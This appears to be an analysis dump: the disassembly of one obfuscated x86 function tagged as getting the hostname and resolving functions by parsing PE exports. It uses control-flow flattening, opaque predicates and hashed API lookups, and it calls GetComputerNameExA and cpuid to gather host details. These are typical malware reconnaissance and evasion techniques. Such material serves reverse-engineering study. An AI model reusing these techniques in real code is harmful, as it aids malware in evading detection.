Function at 0x43fc0c
Capabilities:
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1e0
mov esi, esp
mov dword [esi + 4], 0x5b668583
mov eax, dword [esi + 4]
cmp eax, 0x1557801
jg 0x43fca2
cmp eax, 0xbaeb7a36
jg 0x43fd1d
cmp eax, 0x9e79e560
jg 0x43fe1e
cmp eax, 0x8c6092d3
jg 0x43ffe4
cmp eax, 0x862db537
jg 0x4403ed
cmp eax, 0x835148ae
jg 0x440aa8
cmp eax, 0x82d3071e
jle 0x441557
cmp eax, 0x82d3071f
je 0x44259e
cmp eax, 0x82edeb32
je 0x4425b9
cmp eax, 0x82f9eba8
jne 0x43fc24
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xa8], eax
mov dword [esi + 4], 0x37538745
jmp 0x43fc24
cmp eax, 0x472cf7c1
jg 0x43fd8b
cmp eax, 0x25ed8bdc
jle 0x43fe9e
cmp eax, 0x37b3dab1
jg 0x440058
cmp eax, 0x3080e2d2
jg 0x44045d
cmp eax, 0x2d53bf5f
jg 0x440b05
cmp eax, 0x29a52921
jle 0x441594
cmp eax, 0x29a52922
je 0x4425d1
cmp eax, 0x2a354784
je 0x4425e6
cmp eax, 0x2d26e45e
jne 0x43fc24
mov eax, dword [esi + 0x20]
add eax, 4
mov dword [esi + 0x1cc], eax
mov dword [esi + 4], 0x4dcbe325
jmp 0x43fc24
cmp eax, 0xd4b796f6
jle 0x43fefa
cmp eax, 0xef7c14c0
jg 0x4400cf
cmp eax, 0xe544d741
jg 0x4404a0
cmp eax, 0xde61a78b
jg 0x440b4b
cmp eax, 0xd62d79da
jle 0x4415d0
cmp eax, 0xd62d79db
je 0x442603
cmp eax, 0xd90fc93a
je 0x442618
cmp eax, 0xdc89495d
jne 0x43fc24
imul eax, dword [esi + 0xc], 0x34980
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x7399185f
jmp 0x43fc24
cmp eax, 0x5fa840b5
jle 0x43ff64
cmp eax, 0x72f4bcef
jg 0x440144
cmp eax, 0x683bff04
jg 0x4404ec
cmp eax, 0x6299c875
jg 0x440bb5
cmp eax, 0x60edd944
jle 0x4415fe
cmp eax, 0x60edd945
je 0x442624
cmp eax, 0x61d10509
je 0x44263e
cmp eax, 0x61ea1718
jne 0x43fc24
mov edi, dword [esi + 8]
add edi, 0x7c
mov eax, edi
shr eax, 5
mov dword [esi + 8], eax
push 0x2ffd
push eax
push 0x3b0e
call fcn.0042c4cd
add esp, 0xc
mov eax, 0xfc82ddc8
cmp edi, 0x14e0
jb 0x43fe16
mov eax, 0xe532cf3d
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xabf6196e
jg 0x4401ac
cmp eax, 0xa3760a81
jg 0x440563
cmp eax, 0xa140a1aa
jg 0x440c05
cmp eax, 0x9ef395ac
jle 0x441637
cmp eax, 0x9ef395ad
je 0x44265e
cmp eax, 0xa01a0d47
je 0x442673
cmp eax, 0xa10ace44
jne 0x43fc24
mov eax, dword [esi + 0xc]
lea ecx, [eax + 0x87]
imul ecx, ecx
imul edx, ecx, 0x2059
dec edx
lea eax, [eax*8 + 0x598]
mov dword [esi + 0xc], eax
mov eax, 0x5bb238ad
cmp edx, ecx
je 0x43fe96
mov eax, 0xc443767f
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x104c4fb3
jle 0x44023f
cmp eax, 0x1d4db8fb
jg 0x4405cd
cmp eax, 0x16690ac6
jg 0x440c4d
cmp eax, 0x1347eb9b
jle 0x44165d
cmp eax, 0x1347eb9c
je 0x4426aa
cmp eax, 0x15477e10
je 0x4426bc
cmp eax, 0x15d9955a
jne 0x43fc24
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0xed0da876
jmp 0x43fc24
cmp eax, 0xc70cd5c8
jle 0x4402cd
cmp eax, 0xcd6b4b45
jg 0x440629
cmp eax, 0xcb2d4c24
jg 0x440c99
cmp eax, 0xc8d4dac2
jle 0x44169a
cmp eax, 0xc8d4dac3
je 0x442700
cmp eax, 0xc99362eb
je 0x44270c
cmp eax, 0xca7c7964
jne 0x43fc24
mov eax, dword [esi + 8]
and eax, 0xfffffffc
shl eax, 0x11
add eax, 0xffff8200
mov dword [esi + 8], eax
mov dword [esi + 4], 0x2d53bf60
jmp 0x43fc24
cmp eax, 0x528e5eed
jle 0x440389
cmp eax, 0x59d26613
jg 0x4406a5
cmp eax, 0x573dd94b
jg 0x440ce5
cmp eax, 0x54118fdd
jle 0x4416d4
cmp eax, 0x54118fde
je 0x44272e
cmp eax, 0x547269cd
je 0x442778
cmp eax, 0x56641982
jne 0x43fc24
mov eax, dword [esi + 0x74]
mov eax, dword [esi + 0x70]
mov eax, dword [esi + 0x24]
mov eax, dword [esi + 0x6c]
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x68]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0x2d64ae0
jmp 0x43fc24
cmp eax, 0x95d3505e
jg 0x440720
cmp eax, 0x909d14cc
jg 0x440d3e
cmp eax, 0x8ce88bb6
jle 0x44170a
cmp eax, 0x8ce88bb7
je 0x442818
cmp eax, 0x8e35aca4
je 0x442841
cmp eax, 0x8fe8d881
jne 0x43fc24
push 1
push 0x4000
call fcn.0045cb83
add esp, 8
mov dword [esi + 0x10], eax
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x13c], eax
mov dword [esi + 4], 0xa140a1ab
jmp 0x43fc24
cmp eax, 0x3d4662e0
jg 0x440792
cmp eax, 0x39fa3475
jg 0x440d94
cmp eax, 0x38d6897b
jle 0x44176b
cmp eax, 0x38d6897c
je 0x442877
cmp eax, 0x3929d46b
je 0x44289d
cmp eax, 0x399f299a
jne 0x43fc24
mov edi, dword [esi + 8]
mov eax, 0xffffff63
add edi, eax
mov eax, edi
shr eax, 2
mov dword [esi + 8], eax
push eax
call fcn.0043fc0c
add esp, 4
mov eax, 0x4147df62
cmp edi, 0x1d4
jb 0x4400c7
mov eax, 0x9d673473
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xf490fa58
jg 0x440841
cmp eax, 0xf31e7dc0
jg 0x440dcc
cmp eax, 0xefea042a
jle 0x4417a0
cmp eax, 0xefea042b
je 0x4428a9
cmp eax, 0xf1504ec3
je 0x4428d3
cmp eax, 0xf2c135a5
jne 0x43fc24
mov eax, dword [esi + 0xc]
add eax, 0x5c
shr eax, 9
mov ecx, eax
imul ecx, eax
add eax, 0xb1
imul edx, ecx, 0x1f95
dec edx
mov dword [esi + 0xc], eax
mov eax, 0xc291bead
cmp edx, ecx
je 0x44013c
mov eax, 0x2d53bf60
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x79507f6e
jg 0x44088d
cmp eax, 0x73c1c3f1
jg 0x440e1f
cmp eax, 0x7362c2ea
jle 0x4417e5
cmp eax, 0x7362c2eb
je 0x442920
cmp eax, 0x7399185f
je 0x44292c
cmp eax, 0x73bde01b
jne 0x43fc24
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x50]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x54]
mov dword [esi + 4], 0x3c2d1d02
jmp 0x43fc24
cmp eax, 0xb1fcd5fd
jle 0x4408ec
cmp eax, 0xb5a096cd
jg 0x440e7d
cmp eax, 0xb37af820
jle 0x441810
cmp eax, 0xb37af821
je 0x442941
cmp eax, 0xb38b5094
je 0x44297b
cmp eax, 0xb5738bbf
jne 0x43fc24
push dword [esi + 0x10c]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x18]
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x38]
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x3c]
mov dword [esi + 4], 0xd90fc93a
jmp 0x43fc24
cmp eax, 0x830ca59
jle 0x440973
cmp eax, 0xc5c8d48
jg 0x440ec6
cmp eax, 0x8bc94a4
jle 0x44184c
cmp eax, 0x8bc94a5
je 0x4429bd
cmp eax, 0xa0be244
je 0x4429cc
cmp eax, 0xb296c61
jne 0x43fc24
push 0x14
push 0x473f60
push dword [esi + 0x7c]
call fcn.0044cd70
add esp, 0xc
push 4
push 0x473f74
push 0xa
push dword [esi + 0x7c]
call fcn.00444720
add esp, 0x10
push dword [esi + 0x7c]
push 0x3d95e230
call fcn.004478ec
add esp, 8
push 0
call eax
mov dword [esi + 0x134], eax
mov dword [esi + 4], 0xe9975444
jmp 0x43fc24
cmp eax, 0xc21f4a10
jle 0x4409cf
cmp eax, 0xc4aa367b
jg 0x440f87
cmp eax, 0xc2e940b6
jle 0x441895
cmp eax, 0xc2e940b7
je 0x4429db
cmp eax, 0xc2fe1158
je 0x442a06
cmp eax, 0xc443767f
jne 0x43fc24
mov eax, dword [esi + 0x140]
mov byte [eax], 0
mov edi, 0xf
push edi
push 0x48045c
push dword [esi + 0x84]
call fcn.0044cd70
add esp, 0xc
push 8
push 0x48046b
push edi
push dword [esi + 0x84]
call fcn.00444840
add esp, 0x10
mov eax, dword [esi + 0x13c]
mov ecx, dword [esi + 0x84]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x144], eax
mov dword [esi + 4], 0xb5c9ae72
jmp 0x43fc24
cmp eax, 0x4dcbe324
jle 0x440a38
cmp eax, 0x507da225
jg 0x440fd6
cmp eax, 0x4e2ed2c0
jle 0x4418d2
cmp eax, 0x4e2ed2c1
je 0x442a2e
cmp eax, 0x4fa8551d
je 0x442a74
cmp eax, 0x50649b06
jne 0x43fc24
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xf0], eax
mov eax, dword [esi + 0xf0]
mov byte [eax + 0xc], 0
mov dword [esi + 4], 0xa7071fc1
jmp 0x43fc24
cmp eax, 0x89c20c59
jg 0x441049
cmp eax, 0x876f42a2
jle 0x441900
cmp eax, 0x876f42a3
je 0x442ac9
cmp eax, 0x87946877
je 0x442b01
cmp eax, 0x88d85f77
jne 0x43fc24
mov eax, dword [esi + 0xc]
mov ecx, 0x89
add eax, ecx
imul ecx, eax, 0xa4
imul eax, eax
shr ecx, 0xd
imul edx, eax, 0x4b57
dec edx
add ecx, 0xfffffff8
mov dword [esi + 0xc], ecx
mov ecx, 0x73c1c3f2
cmp eax, edx
je 0x440455
mov ecx, 0x89c20c5a
mov dword [esi + 4], ecx
jmp 0x43fc24
cmp eax, 0x34a85f48
jg 0x4410c0
cmp eax, 0x325a70ce
jle 0x441934
cmp eax, 0x325a70cf
je 0x442b32
cmp eax, 0x32ae1d7d
je 0x442b79
cmp eax, 0x34436423
jne 0x43fc24
mov dword [esi + 4], 0x367e9265
jmp 0x43fc24
cmp eax, 0xea42df82
jg 0x441117
cmp eax, 0xe8fcf2a0
jle 0x441973
cmp eax, 0xe8fcf2a1
je 0x442b91
cmp eax, 0xe9975444
je 0x442bbe
cmp eax, 0xe9f6d0e6
jne 0x43fc24
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x70], eax
mov dword [esi + 4], 0x79dcd6a1
jmp 0x43fc24
cmp eax, 0x6e5dfc4d
jg 0x441152
cmp eax, 0x68bf22d3
jle 0x4419a6
cmp eax, 0x68bf22d4
je 0x442bca
cmp eax, 0x6bbfb69a
je 0x442bfd
cmp eax, 0x6c07dc46
jne 0x43fc24
push 5
push 0x473f94
push 0xa
push dword [esi + 0x80]
call fcn.00444720
add esp, 0x10
push dword [esi + 0x80]
push 0x3d95e230
call fcn.004478ec
add esp, 8
push 1
call eax
mov dword [esi + 0x138], eax
mov dword [esi + 4], 0x34436423
jmp 0x43fc24
cmp eax, 0xa7071fc0
jg 0x441199
cmp eax, 0xa6bac59a
jle 0x4419c8
cmp eax, 0xa6bac59b
je 0x442c40
cmp eax, 0xa6d1d8ea
je 0x442c88
cmp eax, 0xa7055612
jne 0x43fc24
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x9c]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x34]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
mov dword [esi + 4], 0x77dd275b
jmp 0x43fc24
cmp eax, 0x20ed5b0d
jg 0x4411e0
cmp eax, 0x1f096956
jle 0x441a10
cmp eax, 0x1f096957
je 0x442cb2
cmp eax, 0x1f8f41c8
je 0x442cfa
cmp eax, 0x1fa40e09
jne 0x43fc24
push dword [esi + 0x98]
push 0x23fef64a
call fcn.004478ec
add esp, 8
mov dword [esi + 0x158], eax
mov dword [esi + 4], 0xb9650f70
jmp 0x43fc24
cmp eax, 0xd2959f26
jg 0x44121b
cmp eax, 0xd01a2de6
jle 0x441a65
cmp eax, 0xd01a2de7
je 0x442d12
cmp eax, 0xd0460e08
je 0x442d30
cmp eax, 0xd11548bf
jne 0x43fc24
imul eax, dword [esi + 8], 0xf0
add eax, 0x41a0
shr eax, 4
lea ecx, [eax + eax*8]
lea edi, [eax + ecx*2]
mov dword [esi + 8], edi
push edi
push 0x38df
push 0x1aae
call fcn.0042c4cd
add esp, 0xc
mov eax, 0x547269cd
cmp edi, 0xa7
jl 0x44069d
mov eax, 0xd4b78af1
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x5d1ff24b
jg 0x44125a
cmp eax, 0x5a9da1ab
jle 0x441a87
cmp eax, 0x5a9da1ac
je 0x442d43
cmp eax, 0x5b668583
je 0x442d81
cmp eax, 0x5bb238ad
jne 0x43fc24
mov eax, dword [esi + 8]
lea edi, [eax*4 + 0x12a]
mov eax, edi
shr eax, 0xe
mov dword [esi + 8], eax
push eax
push 0x2908
push 0x343e
push 0x57fe
call fcn.00444720
add esp, 0x10
mov eax, 0xe544d742
cmp edi, 0x54000
jae 0x440718
mov eax, 0x5ead8a11
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x9cc5e09b
jg 0x4412cf
cmp eax, 0x98ba8217
jle 0x441ad4
cmp eax, 0x98ba8218
je 0x442d93
cmp eax, 0x9c1ba9ed
je 0x442db3
cmp eax, 0x9c866ef3
jne 0x43fc24
mov edi, 0x1d
push edi
push str.b6Uj_
push dword [esi + 0xf8]
call fcn.0044cd70
add esp, 0xc
push 5
push 0x4805cd
push edi
push dword [esi + 0xf8]
call fcn.00444840
add esp, 0x10
mov dword [esi + 4], 0xf3bd0545
jmp 0x43fc24
cmp eax, 0x435a0da3
jg 0x44130e
cmp eax, 0x3f185db7
jle 0x441af6
cmp eax, 0x3f185db8
je 0x442dec
cmp eax, 0x3fa03bfc
je 0x442e16
cmp eax, 0x4147df62
jne 0x43fc24
push eax
push eax
mov edi, esp
mov byte [edi + 6], 0
movzx eax, word [0x48049e]
mov word [edi + 4], ax
mov eax, dword [0x48049a]
mov dword [edi], eax
push 4
push 0x4804a0
push 6
push edi
call fcn.00444840
add esp, 0x10
mov eax, dword [esi + 0x2c]
mov ecx, dword [edi]
mov edx, dword [edi + 3]
mov dword [eax + 3], edx
mov dword [eax], ecx
push dword [esi + 0x2c]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x108]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x2fc64b54
jmp 0x43fc24
cmp eax, 0xf95480d6
jg 0x441370
cmp eax, 0xf6fe047e
jle 0x441b3f
cmp eax, 0xf6fe047f
je 0x442e22
cmp eax, 0xf85fb342
je 0x442e49
cmp eax, 0xf8e559fe
jne 0x43fc24
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x68], eax
mov dword [esi + 4], 0x8ba168fd
jmp 0x43fc24
cmp eax, 0x79dcd6a0
jg 0x4413e3
cmp eax, 0x79916b10
jle 0x441b70
cmp eax, 0x79916b11
je 0x442e9c
cmp eax, 0x79ae4a35
je 0x442eca
cmp eax, 0x79c5bcd5
jne 0x43fc24
mov eax, dword [esi + 0x144]
mov ecx, dword [esi + 0x88]
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0xc4aa367c
jmp 0x43fc24
cmp eax, 0xaf477899
jg 0x441439
cmp eax, 0xac57f66d
jle 0x441bd4
cmp eax, 0xac57f66e
je 0x442ee2
cmp eax, 0xac870535
je 0x442f19
cmp eax, 0xaf3d650a
jne 0x43fc24
push 0x18
push 0x474030
push dword [esi + 0xf4]
call fcn.0044cd70
add esp, 0xc
push 6
push 0x474048
push 0xc
push dword [esi + 0xf4]
call fcn.00444720
add esp, 0x10
push dword [esi + 0xf4]
push 0x5f086d32
call fcn.004478ec
add esp, 8
push dword [esi + 0x24]
call eax
mov dword [esi + 4], 0x1ace8a92
jmp 0x43fc24
cmp eax, 0x3ea9760
jle 0x441466
cmp eax, 0x5ca5925
jle 0x441c0b
cmp eax, 0x5ca5926
je 0x442f5a
cmp eax, 0x5da9f2f
je 0x442f7b
cmp eax, 0x6652a4e
jne 0x43fc24
mov ecx, dword [esi + 8]
add ecx, 0x4e
shr ecx, 1
mov eax, 0x4fa8551d
and ecx, 0x7fffff80
mov dword [esi + 8], ecx
je 0x4409c7
mov eax, 0x5870b9f8
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xbf4444f5
jle 0x4414c0
cmp eax, 0xc0f7ff5c
jle 0x441c3b
cmp eax, 0xc0f7ff5d
je 0x442fa1
cmp eax, 0xc1cecfe1
je 0x442fb9
cmp eax, 0xc20b7090
jne 0x43fc24
mov eax, dword [esi + 8]
lea eax, [eax*8 - 0x450]
shr eax, 2
and eax, 0x3fffff00
or eax, 0x4a
mov dword [esi + 8], eax
push eax
push 0x2328
push 0x3710
push 0x2a2f
call fcn.00444840
jmp 0x443aaf
cmp eax, 0x4a3c51f4
jle 0x441506
cmp eax, 0x4b79651b
jle 0x441c7f
cmp eax, 0x4b79651c
je 0x442fd1
cmp eax, 0x4c75140d
je 0x442ffc
cmp eax, 0x4d980ff5
jne 0x43fc24
imul edi, dword [esi + 8], 0x7600
mov dword [esi + 8], edi
push edi
push 0x1b37
push 0x5c42
push 0x3be6
call fcn.00444720
add esp, 0x10
mov eax, 0x8a159cd1
cmp edi, 0x43
jl 0x440aa0
mov eax, 0xaa3433c0
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x840a5578
jle 0x441ca1
cmp eax, 0x840a5579
je 0x443028
cmp eax, 0x84e89f42
je 0x44304b
cmp eax, 0x85bf4554
jne 0x43fc24
mov eax, dword [esi + 0xc]
lea ecx, [eax - 0xf2]
imul ecx, ecx
imul edx, ecx, 0x2d9f
dec edx
add eax, 0xfffffe8d
mov dword [esi + 0xc], eax
mov eax, 0x2231c25
cmp edx, ecx
je 0x440afd
mov eax, 0xc0f7ff5d
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x2edb96ff
jle 0x441cea
cmp eax, 0x2edb9700
je 0x443086
cmp eax, 0x2fbbcc4a
je 0x44309e
cmp eax, 0x2fc64b54
jne 0x43fc24
mov eax, dword [esi + 0xc]
shl eax, 4
add eax, 0xaed
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xcb2d4c25
jmp 0x43fc24
cmp eax, 0xe1c66a6b
jle 0x441d30
cmp eax, 0xe1c66a6c
je 0x4430c7
cmp eax, 0xe2605302
je 0x4430ef
cmp eax, 0xe532cf3d
jne 0x43fc24
mov edi, dword [esi + 8]
shl edi, 0x11
add edi, 0x17c4000
mov dword [esi + 8], edi
push 0x69
push 0x61d2
push 0x34c
push edi
call fcn.00444840
add esp, 0x10
mov eax, 0x51f80afc
cmp edi, 0xe9
jl 0x440bad
mov eax, 0x79916b11
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x66177547
jle 0x441d69
cmp eax, 0x66177548
je 0x44310a
cmp eax, 0x679d3030
je 0x44312e
cmp eax, 0x67a56864
jne 0x43fc24
imul eax, dword [esi + 8], 0xeb00000
add eax, 0xa7500000
mov dword [esi + 8], eax
push eax
call fcn.0043fc0c
add esp, 4
mov dword [esi + 4], 0x1e2955ff
jmp 0x43fc24
cmp eax, 0xa225c1e1
jle 0x441d99
cmp eax, 0xa225c1e2
je 0x44317b
cmp eax, 0xa2a4580b
je 0x4431aa
cmp eax, 0xa2f2666c
jne 0x43fc24
mov eax, dword [esi + 0x6c]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
mov dword [esi + 4], 0xcc429f6a
jmp 0x43fc24
cmp eax, 0x181b1a3a
jle 0x441de7
cmp eax, 0x181b1a3b
je 0x4431f1
cmp eax, 0x1936181b
je 0x4431fd
cmp eax, 0x1ace8a92
jne 0x43fc24
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 0x120], ecx
mov dword [esi + 0x124], eax
mov dword [esi + 4], 0xde61a78c
jmp 0x43fc24
cmp eax, 0xcc429f69
jle 0x441e15
cmp eax, 0xcc429f6a
je 0x443243
cmp eax, 0xcc9eb19b
je 0x443278
cmp eax, 0xcd598f4c
jne 0x43fc24
mov eax, dword [esi + 0xc]
shl eax, 7
and eax, 0x1ffff80
imul eax, eax, 0xd7
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x25465d1b
jmp 0x43fc24
cmp eax, 0x578adb75
jle 0x441e7a
cmp eax, 0x578adb76
je 0x4432a2
cmp eax, 0x5870b9f8
je 0x4432da
cmp eax, 0x58c0e25c
jne 0x43fc24
mov eax, dword [esi + 8]
shl eax, 4
add eax, 0xfffffaf0
shr eax, 6
and eax, 0xfffffff8
mov dword [esi + 8], eax
mov ecx, 0xb296c61
cmp eax, 0xde
jae 0x440d36
mov ecx, 0xb5a096ce
mov dword [esi + 4], ecx
jmp 0x43fc24
cmp eax, 0x91f8b2e7
jle 0x441ea5
cmp eax, 0x91f8b2e8
je 0x443325
cmp eax, 0x932a4f66
je 0x443371
cmp eax, 0x95cdd8ea
jne 0x43fc24
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov dword [esi + 0x1b4], eax
mov dword [esi + 4], 0x1f096957
jmp 0x43fc24
cmp eax, 0x3b28e3c0
jle 0x441ecd
cmp eax, 0x3b28e3c1
je 0x4433b9
cmp eax, 0x3c1ff867
je 0x4433c8
cmp eax, 0x3c2d1d02
jne 0x43fc24
mov dword [esi + 4], 0x82f9eba8
jmp 0x43fc24
cmp eax, 0xf3d87e12
jle 0x441f0b
cmp eax, 0xf3d87e13
je 0x4433e8
cmp eax, 0xf4563577
je 0x44341d
cmp eax, 0xf4593bdd
jne 0x43fc24
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x84]
add eax, 0xf
mov dword [esi + 0x140], eax
mov dword [esi + 4], 0xa10ace44
jmp 0x43fc24
cmp eax, 0x74b929fb
jle 0x441f62
cmp eax, 0x74b929fc
je 0x443444
cmp eax, 0x74fd6f1f
je 0x443474
cmp eax, 0x77dd275b
jne 0x43fc24
mov eax, dword [esi + 0xc]
imul ecx, eax, 0x99
imul eax, eax, 0x264000
imul ecx, ecx
imul edx, ecx, 0x2b95
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x74b929fc
cmp ecx, edx
je 0x440e75
mov eax, 0xb5738bbf
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xb6e7b0d9
jle 0x441f9d
cmp eax, 0xb6e7b0da
je 0x4434b7
cmp eax, 0xb8442e44
je 0x4434e1
cmp eax, 0xb9650f70
jne 0x43fc24
mov eax, dword [esi + 0x158]
push dword [esi + 0x30]
push dword [esi + 0x10c]
call eax
mov dword [esi + 4], 0xc5fa051d
jmp 0x43fc24
cmp eax, 0xd7a671b
jle 0x441ffb
cmp eax, 0xd7a671c
je 0x443516
cmp eax, 0xdd1c1f7
je 0x443525
cmp eax, 0xef1c28c
jne 0x43fc24
mov eax, dword [esi + 0x194]
mov ecx, dword [esi + 0x19c]
mov dword [ecx], eax
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0xd0], eax
mov dword [esi + 0xd4], ebx
mov dword [esi + 0xd8], ecx
mov dword [esi + 0xdc], edx
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xd0]
mov dword [esi + 0x1a0], eax
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov dword [esi + 0x1a4], eax
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xd8]
mov dword [esi + 0x1a8], eax
mov dword [esi + 4], 0xb0e1b55f
jmp 0x43fc24
cmp eax, 0xc5e72541
jle 0x44209c
cmp eax, 0xc5e72542
je 0x44354f
cmp eax, 0xc5f299bf
je 0x44355e
cmp eax, 0xc5fa051d
jne 0x43fc24
imul eax, dword [esi + 0xc], 0xf0
add eax, 0xffffff74
shr eax, 9
add eax, 0xc1
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x231b4d6
jmp 0x43fc24
cmp eax, 0x519910a7
jle 0x442162
cmp eax, 0x519910a8
je 0x443586
cmp eax, 0x51f80afc
je 0x4435c4
cmp eax, 0x5286ace7
jne 0x43fc24
mov eax, dword [esi + 0xb0]
mov byte [eax + 8], 0
mov eax, dword [esi + 0xb0]
mov ecx, dword [0x480558]
mov dword [eax + 4], ecx
mov ecx, dword [0x480554]
mov dword [eax], ecx
mov eax, 8
push eax
push 0x48055c
push eax
push dword [esi + 0xb0]
call fcn.00444840
add esp, 0x10
mov dword [esi + 4], 0xf3d87e13
jmp 0x43fc24
cmp eax, 0x8a159cd0
jle 0x4421a7
cmp eax, 0x8a159cd1
je 0x443621
cmp eax, 0x8ba168fd
je 0x44363e
cmp eax, 0x8bf3e645
jne 0x43fc24
mov eax, dword [esi + 8]
shl eax, 0x13
or eax, 0xc4
imul edi, eax, 0xdc
mov dword [esi + 8], edi
push 0x16d2
push edi
push 0x33d0
call fcn.0042c4cd
add esp, 0xc
push 0x54ad
push 0x4f78
push edi
push 0x27a0
call fcn.00444720
add esp, 0x10
mov dword [esi + 4], 0x5ca5926
jmp 0x43fc24
cmp eax, 0x359e8811
jle 0x4421df
cmp eax, 0x359e8812
je 0x443675
cmp eax, 0x367e9265
je 0x4436ae
cmp eax, 0x37538745
jne 0x43fc24
mov eax, dword [esi + 0xa8]
mov byte [eax + 0x17], 0
push 0x17
push 0x480510
push dword [esi + 0xa8]
call fcn.0044cd70
add esp, 0xc
mov dword [esi + 4], 0xd2959f27
jmp 0x43fc24
cmp eax, 0xed0da875
jle 0x44222f
cmp eax, 0xed0da876
je 0x443711
cmp eax, 0xed86323f
je 0x44371d
cmp eax, 0xedc0f362
jne 0x43fc24
mov eax, dword [esi + 0x70]
mov dword [esi + 4], 0x16fc7477
jmp 0x43fc24
cmp eax, 0x6f47770d
jle 0x44228f
cmp eax, 0x6f47770e
je 0x443774
cmp eax, 0x6fa8cbcf
je 0x4437cf
cmp eax, 0x72687fc5
jne 0x43fc24
mov eax, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x18]
mov eax, dword [esi + 0x38]
mov dword [esi + 4], 0x91b2dfcd
jmp 0x43fc24
cmp eax, 0xaa5d8f44
jle 0x4422bd
cmp eax, 0xaa5d8f45
je 0x4437db
cmp eax, 0xaab5e919
je 0x443812
cmp eax, 0xab2fa7c8
jne 0x43fc24
imul eax, dword [esi + 0xc], 0x570000
add eax, 0x1d910000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xaa3433c0
jmp 0x43fc24
cmp eax, 0x24125406
jle 0x4422f6
cmp eax, 0x24125407
je 0x443846
cmp eax, 0x24ebbde0
je 0x443863
cmp eax, 0x25465d1b
jne 0x43fc24
mov eax, dword [esi + 0x78]
mov dword [esi + 4], 0x9e79e561
jmp 0x43fc24
cmp eax, 0xd39e5d43
jle 0x442318
cmp eax, 0xd39e5d44
je 0x4438aa
cmp eax, 0xd3b5b038
je 0x4438b9
cmp eax, 0xd4b78af1
jne 0x43fc24
push eax
push eax
mov eax, esp
mov dword [esi + 0x2c], eax
mov dword [esi + 4], 0xe544d742
jmp 0x43fc24
cmp eax, 0x5e20d2cb
jle 0x44234e
cmp eax, 0x5e20d2cc
je 0x443916
cmp eax, 0x5ead8a11
je 0x443944
cmp eax, 0x5f687d33
jne 0x43fc24
